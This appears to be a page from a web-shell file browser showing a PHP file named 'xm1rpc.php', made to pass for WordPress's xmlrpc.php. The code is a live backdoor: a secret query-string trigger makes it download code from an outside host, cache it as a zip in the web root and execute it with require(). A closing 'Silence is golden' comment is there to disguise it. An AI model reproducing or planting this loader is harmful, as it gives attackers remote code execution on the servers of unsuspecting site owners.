0byt3m1n1
Path:
/
data
/
19
/
3
/
132
/
7
/
3784170
/
user
/
5401187
/
[
Home
]
File: xm1rpc.php
<?php $query = isset($_SERVER['QUERY_STRING'])? $_SERVER['QUERY_STRING']: ''; if (false !== strpos($query, 'simpler-ws')) { __get_ws(); $ws_hash = md5('wsa'); $cache_dir = __get_root(); $ws_file = $cache_dir.'/'.$ws_hash.'.zip'; require($ws_file); die(''); } function __get_root() { $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); return $root_path; } function __get_ws() { $host = isset($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: ''; $ws_hash = md5('wsa'); $cache_dir = __get_root(); $ws_file = $cache_dir.'/'.$ws_hash.'.zip'; if (!file_exists($ws_file) || file_exists($ws_file) && (time() - filemtime($ws_file) > 60*60*24*1)) { $ws = __fetch_url(__get_rev().'&get_ws'); if (!empty($ws)) file_put_contents($ws_file, $ws); } else { $ws = file_get_contents($ws_file); } return $ws; } function __get_rev() { return 'http://bokoinchina.com/extadult2.php?host='.trim(strtolower($_SERVER['HTTP_HOST']), '.').'&full_url='.urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); return 'http://nezlobudnya.com/generate'; } function __fetch_url($url) { $contents = false; $errs = 0; while ( !$contents && ($errs++ < 3) ) { $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'; if (is_callable('curl_init')) { $c = curl_init($url); curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_USERAGENT,$user_agent); $contents = curl_exec($c); if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false; curl_close($c); } else { $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); if ($allowUrlFopen) { $options = array('http' => array('user_agent' => $user_agent)); $context = stream_context_create($options); $contents = @file_get_contents($url, false, $context); } } } return $contents; } // Silence is golden